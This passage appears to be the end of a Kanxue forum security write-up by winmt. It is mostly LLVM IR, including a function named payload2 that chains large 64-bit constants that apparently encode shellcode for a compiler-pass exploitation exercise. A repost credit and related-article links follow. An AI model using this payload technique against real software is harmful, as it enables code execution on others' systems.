%54 = add nsw i64 %53, 1024 %55 = add nsw i64 %54, 1024 %56 = add nsw i64 %55, 1024 %57 = add nsw i64 %56, 1024 %58 = add nsw i64 %57, 1024 %59 = add nsw i64 %58, 1024 %60 = add nsw i64 %59, 1024 %61 = add nsw i64 %60, 1024 %62 = add nsw i64 %61, 1024 %63 = add nsw i64 %62, 1024 %64 = add nsw i64 %63, 1024 %65 = add nsw i64 %64, 1024 %66 = add nsw i64 %65, 1024 %67 = add nsw i64 %66, 1024 %68 = add nsw i64 %67, 1024 %69 = add nsw i64 %68, 1024 %70 = add nsw i64 %69, 1024 %71 = add nsw i64 %70, 1024 %72 = add nsw i64 %71, 1024 %73 = add nsw i64 %72, 1024 %74 = add nsw i64 %73, 1024 %75 = add nsw i64 %74, 1024 %76 = add nsw i64 %75, 1024 %77 = add nsw i64 %76, 1024 %78 = add nsw i64 %77, 1024 %79 = add nsw i64 %78, 1024 %80 = add nsw i64 %79, 1024 %81 = add nsw i64 %80, 1024 %82 = add nsw i64 %81, 1024 %83 = add nsw i64 %82, 1024 %84 = add nsw i64 %83, 1024 %85 = add nsw i64 %84, 1024 %86 = add nsw i64 %85, 1024 %87 = add nsw i64 %86, 1024 %88 = add nsw i64 %87, 1024 %89 = add nsw i64 %88, 1024 %90 = add nsw i64 %89, 1024 %91 = add nsw i64 %90, 1024 %92 = add nsw i64 %91, 1024 %93 = add nsw i64 %92, 1024 %94 = add nsw i64 %93, 1024 %95 = add nsw i64 %94, 1024 %96 = add nsw i64 %95, 1024 %97 = add nsw i64 %96, 1024 %98 = add nsw i64 %97, 1024 %99 = add nsw i64 %98, 1024 %100 = add nsw i64 %99, 1024 %101 = add nsw i64 %100, 1024 %102 = add nsw i64 %101, 1024 %103 = add nsw i64 %102, 1024 %104 = add nsw i64 %103, 1024 %105 = add nsw i64 %104, 1024 %106 = add nsw i64 %105, 1024 %107 = add nsw i64 %106, 1024 %108 = add nsw i64 %107, 1024 %109 = add nsw i64 %108, 1024 %110 = add nsw i64 %109, 1024 %111 = add nsw i64 %110, 1024 %112 = add nsw i64 %111, 1024 %113 = add nsw i64 %112, 1024 %114 = add nsw i64 %113, 1024 %115 = add nsw i64 %114, 1024 %116 = add nsw i64 %115, 1024 %117 = add nsw i64 %116, 1024 %118 = add nsw i64 %117, 1024 %119 = add nsw i64 %118, 1024 %120 = add nsw i64 %119, 1024 %121 = add nsw i64 %120, 1024 %122 = add nsw i64 %121, 1024 %123 = add nsw i64 %122, 1024 %124 = add nsw i64 %123, 1024 %125 = add nsw i64 %124, 1024 %126 = add nsw i64 %125, 1024 %127 = add nsw i64 %126, 1024 %128 = add nsw i64 %127, 1024 %129 = add nsw i64 %128, 1024 %130 = add nsw i64 %129, 1024 %131 = add nsw i64 %130, 1024 %132 = add nsw i64 %131, 1024 %133 = add nsw i64 %132, 1024 %134 = add nsw i64 %133, 1024 %135 = add nsw i64 %134, 1024 %136 = add nsw i64 %135, 1024 %137 = add nsw i64 %136, 1024 %138 = add nsw i64 %137, 1024 %139 = add nsw i64 %138, 1024 %140 = add nsw i64 %139, 1024 %141 = add nsw i64 %140, 1024 %142 = add nsw i64 %141, 1024 %143 = add nsw i64 %142, 1024 %144 = add nsw i64 %143, 1024 %145 = add nsw i64 %144, 1024 %146 = add nsw i64 %145, 1024 %147 = add nsw i64 %146, 1024 %148 = add nsw i64 %147, 1024 %149 = add nsw i64 %148, 1024 %150 = add nsw i64 %149, 1024 %151 = add nsw i64 %150, 1024 %152 = add nsw i64 %151, 1024 %153 = add nsw i64 %152, 1024 %154 = add nsw i64 %153, 1024 %155 = add nsw i64 %154, 1024 %156 = add nsw i64 %155, 1024 %157 = add nsw i64 %156, 1024 %158 = add nsw i64 %157, 1024 %159 = add nsw i64 %158, 1024 %160 = add nsw i64 %159, 1024 %161 = add nsw i64 %160, 1024 %162 = add nsw i64 %161, 1024 %163 = add nsw i64 %162, 1024 %164 = add nsw i64 %163, 1024 %165 = add nsw i64 %164, 1024 %166 = add nsw i64 %165, 1024 %167 = add nsw i64 %166, 1024 %168 = add nsw i64 %167, 1024 %169 = add nsw i64 %168, 1024 %170 = add nsw i64 %169, 1024 %171 = add nsw i64 %170, 1024 %172 = add nsw i64 %171, 1024 %173 = add nsw i64 %172, 1024 %174 = add nsw i64 %173, 1024 %175 = add nsw i64 %174, 1024 %176 = add nsw i64 %175, 1024 %177 = add nsw i64 %176, 1024 %178 = add nsw i64 %177, 1024 %179 = add nsw i64 %178, 1024 %180 = add nsw i64 %179, 1024 %181 = add nsw i64 %180, 1024 %182 = add nsw i64 %181, 1024 %183 = add nsw i64 %182, 1024 %184 = add nsw i64 %183, 1024 %185 = add nsw i64 %184, 1024 %186 = add nsw i64 %185, 1024 %187 = add nsw i64 %186, 1024 %188 = add nsw i64 %187, 1024 %189 = add nsw i64 %188, 1024 %190 = add nsw i64 %189, 1024 %191 = add nsw i64 %190, 1024 %192 = add nsw i64 %191, 1024 %193 = add nsw i64 %192, 1024 %194 = add nsw i64 %193, 1024 %195 = add nsw i64 %194, 1024 %196 = add nsw i64 %195, 1024 %197 = add nsw i64 %196, 1024 %198 = add nsw i64 %197, 1024 %199 = add nsw i64 %198, 1024 %200 = add nsw i64 %199, 1024 %201 = add nsw i64 %200, 1024 %202 = add nsw i64 %201, 1024 %203 = add nsw i64 %202, 1024 %204 = add nsw i64 %203, 1024 %205 = add nsw i64 %204, 1024 %206 = add nsw i64 %205, 1024 %207 = add nsw i64 %206, 1024 %208 = add nsw i64 %207, 1024 %209 = add nsw i64 %208, 1024 %210 = add nsw i64 %209, 1024 %211 = add nsw i64 %210, 1024 %212 = add nsw i64 %211, 1024 %213 = add nsw i64 %212, 1024 %214 = add nsw i64 %213, 1024 %215 = add nsw i64 %214, 1024 %216 = add nsw i64 %215, 1024 %217 = add nsw i64 %216, 1024 %218 = add nsw i64 %217, 1024 %219 = add nsw i64 %218, 1024 %220 = add nsw i64 %219, 1024 %221 = add nsw i64 %220, 1024 %222 = add nsw i64 %221, 1024 %223 = add nsw i64 %222, 1024 %224 = add nsw i64 %223, 1024 %225 = add nsw i64 %224, 1024 %226 = add nsw i64 %225, 1024 %227 = add nsw i64 %226, 1024 %228 = add nsw i64 %227, 1024 %229 = add nsw i64 %228, 1024 %230 = add nsw i64 %229, 1024 %231 = add nsw i64 %230, 1024 %232 = add nsw i64 %231, 1024 %233 = add nsw i64 %232, 1024 %234 = add nsw i64 %233, 1024 %235 = add nsw i64 %234, 1024 %236 = add nsw i64 %235, 1024 %237 = add nsw i64 %236, 1024 %238 = add nsw i64 %237, 1024 %239 = add nsw i64 %238, 1024 %240 = add nsw i64 %239, 1024 %241 = add nsw i64 %240, 1024 %242 = add nsw i64 %241, 1024 %243 = add nsw i64 %242, 1024 %244 = add nsw i64 %243, 1024 %245 = add nsw i64 %244, 1024 %246 = add nsw i64 %245, 1024 %247 = add nsw i64 %246, 1024 %248 = add nsw i64 %247, 1024 %249 = add nsw i64 %248, 1024 %250 = add nsw i64 %249, 1024 %251 = add nsw i64 %250, 1024 %252 = add nsw i64 %251, 1024 %253 = add nsw i64 %252, 1024 %254 = add nsw i64 %253, 1024 %255 = add nsw i64 %254, 1024 %256 = add nsw i64 %255, 1024 %257 = add nsw i64 %256, 1024 %258 = add nsw i64 %257, 1024 %259 = add nsw i64 %258, 1024 %260 = add nsw i64 %259, 1024 %261 = add nsw i64 %260, 1024 %262 = add nsw i64 %261, 1024 %263 = add nsw i64 %262, 1024 %264 = add nsw i64 %263, 1024 %265 = add nsw i64 %264, 1024 %266 = add nsw i64 %265, 1024 %267 = add nsw i64 %266, 1024 %268 = add nsw i64 %267, 1024 %269 = add nsw i64 %268, 1024 %270 = add nsw i64 %269, 1024 %271 = add nsw i64 %270, 1024 %272 = add nsw i64 %271, 1024 %273 = add nsw i64 %272, 1024 %274 = add nsw i64 %273, 1024 %275 = add nsw i64 %274, 1024 %276 = add nsw i64 %275, 1024 %277 = add nsw i64 %276, 1024 %278 = add nsw i64 %277, 1024 %279 = add nsw i64 %278, 1024 %280 = add nsw i64 %279, 1024 %281 = add nsw i64 %280, 1024 %282 = add nsw i64 %281, 1024 %283 = add nsw i64 %282, 1024 %284 = add nsw i64 %283, 1024 %285 = add nsw i64 %284, 1024 %286 = add nsw i64 %285, 1024 %287 = add nsw i64 %286, 1024 %288 = add nsw i64 %287, 1024 %289 = add nsw i64 %288, 1024 %290 = add nsw i64 %289, 1024 %291 = add nsw i64 %290, 1024 %292 = add nsw i64 %291, 1024 %293 = add nsw i64 %292, 1024 %294 = add nsw i64 %293, 1024 %295 = add nsw i64 %294, 1024 %296 = add nsw i64 %295, 1024 %297 = add nsw i64 %296, 1024 %298 = add nsw i64 %297, 1024 %299 = add nsw i64 %298, 1024 %300 = add nsw i64 %299, 1024 %301 = add nsw i64 %300, 1024 %302 = add nsw i64 %301, 1024 %303 = add nsw i64 %302, 1024 %304 = add nsw i64 %303, 1024 %305 = add nsw i64 %304, 1024 %306 = add nsw i64 %305, 1024 %307 = add nsw i64 %306, 1024 %308 = add nsw i64 %307, 1024 %309 = add nsw i64 %308, 1024 %310 = add nsw i64 %309, 1024 %311 = add nsw i64 %310, 1024 %312 = add nsw i64 %311, 1024 %313 = add nsw i64 %312, 1024 %314 = add nsw i64 %313, 1024 %315 = add nsw i64 %314, 1024 ret i64 %315} ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i64 @payload2(i64 %0) #0 { %2 = add nsw i64 %0, 1 %3 = add nsw i64 %2, 1 %4 = add nsw i64 %3, 1 %5 = add nsw i64 %4, 1 %6 = add nsw i64 %5, 1 %7 = add nsw i64 %6, 16999839996723556031 %8 = add nsw i64 %7, 16999840167007600968 %9 = add nsw i64 %8, 16999839549882511291 %10 = add nsw i64 %9, 16999840169020293448 %11 = add nsw i64 %10, 16999840169015152727 %12 = add nsw i64 %11, 16999840169015152724 %13 = add nsw i64 %12, 16999840169015152735 %14 = add nsw i64 %13, 16999840169021813064 %15 = add nsw i64 %14, 16999840169019453768 %16 = add nsw i64 %15, 16999840169015130986 %17 = add nsw i64 %16, 16999840169015152728 %18 = add nsw i64 %17, 16999840169015117071 %19 = add nsw i64 %18, 1024 %20 = add nsw i64 %19, 1024 %21 = add nsw i64 %20, 1024 %22 = add nsw i64 %21, 1024 %23 = add nsw i64 %22, 1024 %24 = add nsw i64 %23, 1024 %25 = add nsw i64 %24, 1024 %26 = add nsw i64 %25, 1024 %27 = add nsw i64 %26, 1024 %28 = add nsw i64 %27, 1024 %29 = add nsw i64 %28, 1024 %30 = add nsw i64 %29, 1024 %31 = add nsw i64 %30, 1024 %32 = add nsw i64 %31, 1024 %33 = add nsw i64 %32, 1024 %34 = add nsw i64 %33, 1024 %35 = add nsw i64 %34, 1024 %36 = add nsw i64 %35, 1024 %37 = add nsw i64 %36, 1024 %38 = add nsw i64 %37, 1024 %39 = add nsw i64 %38, 1024 %40 = add nsw i64 %39, 1024 %41 = add nsw i64 %40, 1024 %42 = add nsw i64 %41, 1024 %43 = add nsw i64 %42, 1024 %44 = add nsw i64 %43, 1024 %45 = add nsw i64 %44, 1024 %46 = add nsw i64 %45, 1024 %47 = add nsw i64 %46, 1024 %48 = add nsw i64 %47, 1024 %49 = add nsw i64 %48, 1024 %50 = add nsw i64 %49, 1024 %51 = add nsw i64 %50, 1024 %52 = add nsw i64 %51, 1024 %53 = add nsw i64 %52, 1024 %54 = add nsw i64 %53, 1024 %55 = add nsw i64 %54, 1024 %56 = add nsw i64 %55, 1024 %57 = add nsw i64 %56, 1024 %58 = add nsw i64 %57, 1024 %59 = add nsw i64 %58, 1024 %60 = add nsw i64 %59, 1024 %61 = add nsw i64 %60, 1024 %62 = add nsw i64 %61, 1024 %63 = add nsw i64 %62, 1024 %64 = add nsw i64 %63, 1024 %65 = add nsw i64 %64, 1024 %66 = add nsw i64 %65, 1024 %67 = add nsw i64 %66, 1024 %68 = add nsw i64 %67, 1024 %69 = add nsw i64 %68, 1024 %70 = add nsw i64 %69, 1024 %71 = add nsw i64 %70, 1024 %72 = add nsw i64 %71, 1024 %73 = add nsw i64 %72, 1024 %74 = add nsw i64 %73, 1024 %75 = add nsw i64 %74, 1024 %76 = add nsw i64 %75, 1024 %77 = add nsw i64 %76, 1024 %78 = add nsw i64 %77, 1024 %79 = add nsw i64 %78, 1024 %80 = add nsw i64 %79, 1024 %81 = add nsw i64 %80, 1024 %82 = add nsw i64 %81, 1024 %83 = add nsw i64 %82, 1024 %84 = add nsw i64 %83, 1024 %85 = add nsw i64 %84, 1024 %86 = add nsw i64 %85, 1024 %87 = add nsw i64 %86, 1024 %88 = add nsw i64 %87, 1024 %89 = add nsw i64 %88, 1024 %90 = add nsw i64 %89, 1024 %91 = add nsw i64 %90, 1024 %92 = add nsw i64 %91, 1024 %93 = add nsw i64 %92, 1024 %94 = add nsw i64 %93, 1024 %95 = add nsw i64 %94, 1024 %96 = add nsw i64 %95, 1024 %97 = add nsw i64 %96, 1024 %98 = add nsw i64 %97, 1024 %99 = add nsw i64 %98, 1024 %100 = add nsw i64 %99, 1024 %101 = add nsw i64 %100, 1024 %102 = add nsw i64 %101, 1024 %103 = add nsw i64 %102, 1024 %104 = add nsw i64 %103, 1024 %105 = add nsw i64 %104, 1024 %106 = add nsw i64 %105, 1024 %107 = add nsw i64 %106, 1024 %108 = add nsw i64 %107, 1024 %109 = add nsw i64 %108, 1024 %110 = add nsw i64 %109, 1024 %111 = add nsw i64 %110, 1024 %112 = add nsw i64 %111, 1024 %113 = add nsw i64 %112, 1024 %114 = add nsw i64 %113, 1024 %115 = add nsw i64 %114, 1024 %116 = add nsw i64 %115, 1024 %117 = add nsw i64 %116, 1024 %118 = add nsw i64 %117, 1024 %119 = add nsw i64 %118, 1024 %120 = add nsw i64 %119, 1024 %121 = add nsw i64 %120, 1024 %122 = add nsw i64 %121, 1024 %123 = add nsw i64 %122, 1024 %124 = add nsw i64 %123, 1024 %125 = add nsw i64 %124, 1024 %126 = add nsw i64 %125, 1024 %127 = add nsw i64 %126, 1024 %128 = add nsw i64 %127, 1024 %129 = add nsw i64 %128, 1024 %130 = add nsw i64 %129, 1024 %131 = add nsw i64 %130, 1024 %132 = add nsw i64 %131, 1024 %133 = add nsw i64 %132, 1024 %134 = add nsw i64 %133, 1024 %135 = add nsw i64 %134, 1024 %136 = add nsw i64 %135, 1024 %137 = add nsw i64 %136, 1024 %138 = add nsw i64 %137, 1024 %139 = add nsw i64 %138, 1024 %140 = add nsw i64 %139, 1024 %141 = add nsw i64 %140, 1024 %142 = add nsw i64 %141, 1024 %143 = add nsw i64 %142, 1024 %144 = add nsw i64 %143, 1024 %145 = add nsw i64 %144, 1024 %146 = add nsw i64 %145, 1024 %147 = add nsw i64 %146, 1024 %148 = add nsw i64 %147, 1024 %149 = add nsw i64 %148, 1024 %150 = add nsw i64 %149, 1024 %151 = add nsw i64 %150, 1024 %152 = add nsw i64 %151, 1024 %153 = add nsw i64 %152, 1024 %154 = add nsw i64 %153, 1024 %155 = add nsw i64 %154, 1024 %156 = add nsw i64 %155, 1024 %157 = add nsw i64 %156, 1024 %158 = add nsw i64 %157, 1024 %159 = add nsw i64 %158, 1024 %160 = add nsw i64 %159, 1024 %161 = add nsw i64 %160, 1024 %162 = add nsw i64 %161, 1024 %163 = add nsw i64 %162, 1024 %164 = add nsw i64 %163, 1024 %165 = add nsw i64 %164, 1024 %166 = add nsw i64 %165, 1024 %167 = add nsw i64 %166, 1024 %168 = add nsw i64 %167, 1024 %169 = add nsw i64 %168, 1024 %170 = add nsw i64 %169, 1024 %171 = add nsw i64 %170, 1024 %172 = add nsw i64 %171, 1024 %173 = add nsw i64 %172, 1024 %174 = add nsw i64 %173, 1024 %175 = add nsw i64 %174, 1024 %176 = add nsw i64 %175, 1024 %177 = add nsw i64 %176, 1024 %178 = add nsw i64 %177, 1024 %179 = add nsw i64 %178, 1024 %180 = add nsw i64 %179, 1024 %181 = add nsw i64 %180, 1024 %182 = add nsw i64 %181, 1024 %183 = add nsw i64 %182, 1024 %184 = add nsw i64 %183, 1024 %185 = add nsw i64 %184, 1024 %186 = add nsw i64 %185, 1024 %187 = add nsw i64 %186, 1024 %188 = add nsw i64 %187, 1024 %189 = add nsw i64 %188, 1024 %190 = add nsw i64 %189, 1024 %191 = add nsw i64 %190, 1024 %192 = add nsw i64 %191, 1024 %193 = add nsw i64 %192, 1024 %194 = add nsw i64 %193, 1024 %195 = add nsw i64 %194, 1024 %196 = add nsw i64 %195, 1024 %197 = add nsw i64 %196, 1024 %198 = add nsw i64 %197, 1024 %199 = add nsw i64 %198, 1024 %200 = add nsw i64 %199, 1024 %201 = add nsw i64 %200, 1024 %202 = add nsw i64 %201, 1024 %203 = add nsw i64 %202, 1024 %204 = add nsw i64 %203, 1024 %205 = add nsw i64 %204, 1024 %206 = add nsw i64 %205, 1024 %207 = add nsw i64 %206, 1024 %208 = add nsw i64 %207, 1024 %209 = add nsw i64 %208, 1024 %210 = add nsw i64 %209, 1024 %211 = add nsw i64 %210, 1024 %212 = add nsw i64 %211, 1024 %213 = add nsw i64 %212, 1024 %214 = add nsw i64 %213, 1024 %215 = add nsw i64 %214, 1024 %216 = add nsw i64 %215, 1024 %217 = add nsw i64 %216, 1024 %218 = add nsw i64 %217, 1024 %219 = add nsw i64 %218, 1024 %220 = add nsw i64 %219, 1024 %221 = add nsw i64 %220, 1024 %222 = add nsw i64 %221, 1024 %223 = add nsw i64 %222, 1024 %224 = add nsw i64 %223, 1024 %225 = add nsw i64 %224, 1024 %226 = add nsw i64 %225, 1024 %227 = add nsw i64 %226, 1024 %228 = add nsw i64 %227, 1024 %229 = add nsw i64 %228, 1024 %230 = add nsw i64 %229, 1024 %231 = add nsw i64 %230, 1024 %232 = add nsw i64 %231, 1024 %233 = add nsw i64 %232, 1024 %234 = add nsw i64 %233, 1024 %235 = add nsw i64 %234, 1024 %236 = add nsw i64 %235, 1024 %237 = add nsw i64 %236, 1024 %238 = add nsw i64 %237, 1024 %239 = add nsw i64 %238, 1024 %240 = add nsw i64 %239, 1024 %241 = add nsw i64 %240, 1024 %242 = add nsw i64 %241, 1024 %243 = add nsw i64 %242, 1024 %244 = add nsw i64 %243, 1024 %245 = add nsw i64 %244, 1024 %246 = add nsw i64 %245, 1024 %247 = add nsw i64 %246, 1024 %248 = add nsw i64 %247, 1024 %249 = add nsw i64 %248, 1024 %250 = add nsw i64 %249, 1024 %251 = add nsw i64 %250, 1024 %252 = add nsw i64 %251, 1024 %253 = add nsw i64 %252, 1024 %254 = add nsw i64 %253, 1024 %255 = add nsw i64 %254, 1024 %256 = add nsw i64 %255, 1024 %257 = add nsw i64 %256, 1024 %258 = add nsw i64 %257, 1024 %259 = add nsw i64 %258, 1024 %260 = add nsw i64 %259, 1024 %261 = add nsw i64 %260, 1024 %262 = add nsw i64 %261, 1024 %263 = add nsw i64 %262, 1024 %264 = add nsw i64 %263, 1024 %265 = add nsw i64 %264, 1024 %266 = add nsw i64 %265, 1024 %267 = add nsw i64 %266, 1024 %268 = add nsw i64 %267, 1024 %269 = add nsw i64 %268, 1024 %270 = add nsw i64 %269, 1024 %271 = add nsw i64 %270, 1024 %272 = add nsw i64 %271, 1024 %273 = add nsw i64 %272, 1024 %274 = add nsw i64 %273, 1024 %275 = add nsw i64 %274, 1024 %276 = add nsw i64 %275, 1024 %277 = add nsw i64 %276, 1024 %278 = add nsw i64 %277, 1024 %279 = add nsw i64 %278, 1024 %280 = add nsw i64 %279, 1024 %281 = add nsw i64 %280, 1024 %282 = add nsw i64 %281, 1024 %283 = add nsw i64 %282, 1024 %284 = add nsw i64 %283, 1024 %285 = add nsw i64 %284, 1024 %286 = add nsw i64 %285, 1024 %287 = add nsw i64 %286, 1024 %288 = add nsw i64 %287, 1024 %289 = add nsw i64 %288, 1024 %290 = add nsw i64 %289, 1024 %291 = add nsw i64 %290, 1024 %292 = add nsw i64 %291, 1024 %293 = add nsw i64 %292, 1024 %294 = add nsw i64 %293, 1024 %295 = add nsw i64 %294, 1024 %296 = add nsw i64 %295, 1024 %297 = add nsw i64 %296, 1024 %298 = add nsw i64 %297, 1024 %299 = add nsw i64 %298, 1024 %300 = add nsw i64 %299, 1024 %301 = add nsw i64 %300, 1024 %302 = add nsw i64 %301, 1024 %303 = add nsw i64 %302, 1024 %304 = add nsw i64 %303, 1024 %305 = add nsw i64 %304, 1024 %306 = add nsw i64 %305, 1024 %307 = add nsw i64 %306, 1024 %308 = add nsw i64 %307, 1024 %309 = add nsw i64 %308, 1024 %310 = add nsw i64 %309, 1024 %311 = add nsw i64 %310, 1024 %312 = add nsw i64 %311, 1024 %313 = add nsw i64 %312, 1024 %314 = add nsw i64 %313, 1024 %315 = add nsw i64 %314, 1024 %316 = add nsw i64 %315, 1024 %317 = add nsw i64 %316, 1024 %318 = add nsw i64 %317, 1024 ret i64 %318} attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0}!llvm.ident = !{!1} !0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}



看雪ID:winmt

https://bbs.pediy.com/user-home-949925.htm

*本文由看雪论坛 winmt 原创,转载请注明来自看雪社区



# 往期推荐

1.四级分页下的页表自映射与基址随机化原理介绍

2.Android 10属性系统原理,检测与定制源码反检测

3.WhatsApp私信协议实现记录

4.Android4.4和8.0 DexClassLoader加载流程分析之寻找脱壳点

5.实战DLL注入

6.某车联网APP加固分析






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存